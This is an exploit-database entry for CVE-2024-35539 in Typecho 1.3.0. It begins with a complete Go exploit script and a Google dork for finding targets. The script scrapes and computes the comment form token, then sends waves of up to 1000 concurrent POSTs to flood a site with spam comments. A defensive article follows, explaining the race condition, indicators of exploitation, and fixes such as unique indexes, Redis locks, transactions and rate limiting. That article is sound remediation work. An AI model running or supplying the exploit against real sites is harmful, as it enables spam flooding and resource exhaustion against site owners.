Typecho 1.3.0 - Race Condition
# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539
# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
package main
import (
"bytes"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/robertkrimen/otto"
)
var (
c int32 = 0
commentsPostInterval int64 = 60
maxThreads int = 1000
wg sync.WaitGroup
userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
client *http.Client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
)
func getJSFunction(u string) string {
req, err := http.NewRequest("GET", u, nil)
if err != nil {
fmt.Println("[X] Error creating initial request:", err)
return ""
}
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending initial request:", err)
return ""
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
fmt.Println("[X] Error finding JavaScript function")
return ""
}
jsFunction := strings.Split(body, "input.value = (")[1]
jsFunction = strings.Split(jsFunction, ")();;")[0]
return jsFunction
}
func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
vm := otto.New()
_, err := vm.Run(jsFunctionBody)
if err != nil {
fmt.Println("[X] Error executing JavaScript function:", err)
return ""
}
result, err := vm.Call(jsFunctionName, nil)
if err != nil {
fmt.Println("[X] Error calling JavaScript function:", err)
return ""
}
returnValue, err := result.ToString()
if err != nil {
fmt.Println("[X] Error converting JavaScript result to string:", err)
return ""
}
return returnValue
}
func spamComments(u string, formToken string) {
timestamp := time.Now().Unix()
for {
i := 0
for time.Now().Unix() < timestamp-1 {
time.Sleep(250 * time.Millisecond)
fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds) ", timestamp-time.Now().Unix()-1)
}
fmt.Printf("\n")
for time.Now().Unix() < timestamp+2 {
if i < maxThreads {
wg.Add(1)
go spamRequest(u, formToken, i)
i++
}
}
wg.Wait()
fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
timestamp = time.Now().Unix() + commentsPostInterval
}
}
func spamRequest(u string, formToken string, i int) {
fmt.Printf("\r[*] Spamming comment request %d ", i)
defer wg.Done()
formData := url.Values{}
formData.Set("_", formToken)
formData.Set("author", fmt.Sprintf("user_%d", i))
formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
formData.Set("text", fmt.Sprintf("Hello from user_%d", i))
req, err := http.NewRequest("POST", u+"comment", nil)
if err != nil {
return
}
req.Header.Set("Referer", u)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
req.Body = io.NopCloser(strings.NewReader(formData.Encode()))
resp, err := client.Do(req)
if err != nil {
return
}
if resp.StatusCode == 302 {
atomic.AddInt32(&c, 1)
}
defer resp.Body.Close()
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
return
}
fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")
targetUrl := os.Args[1]
fmt.Println("[+] Spam target:", targetUrl)
fmt.Println("[*] Getting JavaScript function to calculate form token...")
jsFunction := getJSFunction(targetUrl)
if jsFunction == "" {
fmt.Println("[-] Could not get JavaScript function, exiting...")
return
}
fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
if formToken == "" {
fmt.Println("[-] Could not get form token, exiting...")
return
}
fmt.Printf("[+] Form token: %s", formToken)
spamComments(targetUrl, formToken)
} Typecho 1.3.0 — Race Condition Vulnerability (CVE-2024-35539): Overview, Impact, and Remediation
This article explains the Typecho 1.3.0 race condition vulnerability tracked as CVE-2024-35539. It covers what a race condition is in web applications, how this specific issue affected Typecho comment posting, how to detect signs of exploitation, and — most importantly — safe, practical mitigation and hardening guidance you can apply to protect instances.
Executive summary
- Vulnerability: Race condition in comment posting logic in Typecho ≤ 1.3.0 that allowed attackers to bypass intended posting controls under concurrent requests.
- Impact: Automated/mass comment injection (spam), possible disruption of comment moderation workflow, and reputational or resource exhaustion effects on vulnerable installations.
- Affected software: Typecho 1.3.0 (reported and fixed upstream; see vendor advisories).
- Mitigation: Upgrade to patched Typecho, apply server-side request validation, add atomic server-side checks (database constraints or locks), implement rate limiting and anti-bot controls, and monitor for abuse.
What is a race condition, in plain terms?
A race condition occurs when the correctness of program behavior depends on the timing or interleaving of concurrently running operations. In web apps this often shows up when multiple HTTP requests manipulate the same resource (a DB row, in-memory token, file) and the application assumes single-threaded/sequential handling without proper synchronization.
For comment posting the usual race surface is the anti-spam token or “one-time” marker: if the server issues a short-lived token or relies on a quick server-side state change to prevent duplicate submissions but does not make that change atomic, multiple concurrent requests can pass checks and result in multiple accepted comments.
High-level description of the Typecho issue
- Typecho’s frontend generated a short-lived form token via JavaScript and the server validated that token on comment submission.
- Under heavy concurrency or deliberate parallel request attempts, the server verification and state transition were not performed atomically — allowing multiple concurrent requests that passed validation before server-side state was updated.
- An attacker could submit many simultaneous requests to create multiple comments in a short period (spam flood), bypassing intended per-token/per-interval limits.
Why this matters
- Comment spam floods degrade site quality and SEO.
- Mass submissions can exhaust server resources (DB inserts, disk growth, email notifications), and overwhelm moderators.
- Even if the vulnerability does not lead to remote code execution, it materially harms confidentiality, integrity and availability of the comment subsystem.
Detection: Indicators of exploitation
- Large number of accepted comment POSTs within a very short window originating from the same client IP(s) or from multiple IPs with identical or related form tokens.
- Server logs showing multiple requests for the same session/form token processed in the same second or millisecond.
- Sudden spike in comment table insert rates; moderation queue filled rapidly.
- Traffic patterns: many concurrent POSTs to /comment or comment endpoints timed to token generation (e.g., bot-like waves).
Immediate mitigation (short-term, urgent)
- Patch/upgrade Typecho to the vendor-released version that contains the fix. This is the single most effective mitigation.
- If upgrade is not immediately possible:
- Add server-side rate limiting for the comment endpoint (per IP and per authenticated session).
- Enable Web Application Firewall (WAF) rules to detect and block high concurrency POST storms.
- Temporarily require stricter anti-bot measures (CAPTCHA) for anonymous comments.
Safe code examples for mitigation (server-side)
Below are defensive, non-exploit code snippets showing common server-side strategies: database uniqueness/atomic constraints, mutex-style locking with Redis (SETNX), and PDO transaction with SELECT ... FOR UPDATE. These focus on making validation and the state change atomic so concurrent requests cannot both succeed.
/* Example A — Database-side uniqueness (conceptual SQL)
-- Add a unique constraint to ensure same token cannot be reused
ALTER TABLE comments ADD COLUMN form_token VARCHAR(64);
CREATE UNIQUE INDEX uniq_comment_token ON comments(form_token);
Explanation: Adding a column for the server-issued form token and enforcing a UNIQUE index ensures the database will reject concurrent inserts that try to reuse the same token. Even if two concurrent requests reach the DB, only one INSERT will succeed; the other will fail with a duplicate-key error which the app can handle gracefully.
/* Example B — Redis-based per-token lock (conceptual PHP using phpredis)
$lockKey = "comment_lock:".$formToken;
$acquired = $redis->set($lockKey, 1, ['nx', 'ex' => 5]); // SETNX with 5s expiry
if (!$acquired) {
// Another request is processing this token; reject/queue
http_response_code(429);
exit;
}
// process comment safely
// when done, delete the lock
$redis->del($lockKey);
Explanation: Using Redis SET with NX (set-if-not-exists) creates a short-lived lock keyed by the form token. The first request wins the lock; others are rejected or delayed. This prevents overlapping processing and enforces a short critical section.
/* Example C — PDO transaction + SELECT ... FOR UPDATE (conceptual PHP)
$db->beginTransaction();
$stmt = $db->prepare("SELECT token_used FROM comment_tokens WHERE token = ? FOR UPDATE");
$stmt->execute([$token]);
$row = $stmt->fetch();
if ($row && $row['token_used']) {
$db->rollBack();
http_response_code(409);
exit;
}
// mark token as used
$update = $db->prepare("UPDATE comment_tokens SET token_used = 1 WHERE token = ?");
$update->execute([$token]);
/* insert comment into comments table */$db->commit();
Explanation: The SELECT ... FOR UPDATE acquires a row-level lock inside the transaction so parallel transactions attempting the same token are serialized by the DB. The first transaction marks the token as used and commits; the second transaction will see it used and reject the request.
Infrastructure-level mitigations
- Rate limiting (example NGINX): enforce per-IP and per-session request limits for POST /comment endpoints.
- WAF rules: block bursts of identical request patterns, or enforce minimum time between token issuance and submission when tokens are expected to be used client-side only after JS execution.
- CAPTCHA: temporarily enable for anonymous comments or for accounts below a reputation threshold.
- Queueing: convert comment POST handling to a queue/worker model that can perform singleton checks before writing to the DB.
Monitoring and detection rules (examples)
- Alert when comments-per-minute per IP > X (choose X based on baseline traffic).
- Alert on multiple POSTs using the same form token within n seconds.
- Log and retain request headers (User-Agent, Referer) and token values so post-incident analysis can correlate attacker behavior.
Recommended long-term hardening
- Always perform sensitive validation server-side. Never rely solely on JS-generated tokens for security.
- Use database constraints and transactions for invariants that must be preserved under concurrency.
- Consider ephemeral server-issued tokens that are validated atomically and/or tied to server-maintained state (not only client-side math).
- Adopt defense-in-depth: WAF, rate limiting, anomaly detection, and CAPTCHAs for high-risk endpoints.
- Include integration tests and concurrency tests in CI to catch race conditions early (stress tests that run many parallel requests against comment workflow).
Responsible disclosure & references
If you maintain Typecho instances, upgrade to the vendor-provided patched release immediately. CVE-2024-35539 was publicly reported; follow the upstream security advisory and change logs for exact patched versions and backported fixes.
| Resource | Notes |
|---|---|
| Typecho official site / GitHub | Check for security patches and release notes for the 1.3.x branch. |
| CVE database | Lookup CVE-2024-35539 for timeline and vendor references. |
| WAF / Rate-limiting docs | Configure per-endpoint rules for comment submission endpoints. |
Conclusion
CVE-2024-35539 is a classic example of a web race condition that allows bypassing intended anti-abuse controls through concurrent requests. The safest course is to apply the official patch. Where immediate upgrading is not possible, apply defensive server-side changes — database uniqueness, locks, transactions, and perimeter rate-limiting — to make validation atomic and prevent simultaneous successful submissions.
Following secure design patterns and adding concurrency and stress tests in CI will reduce the likelihood of similar issues in the future.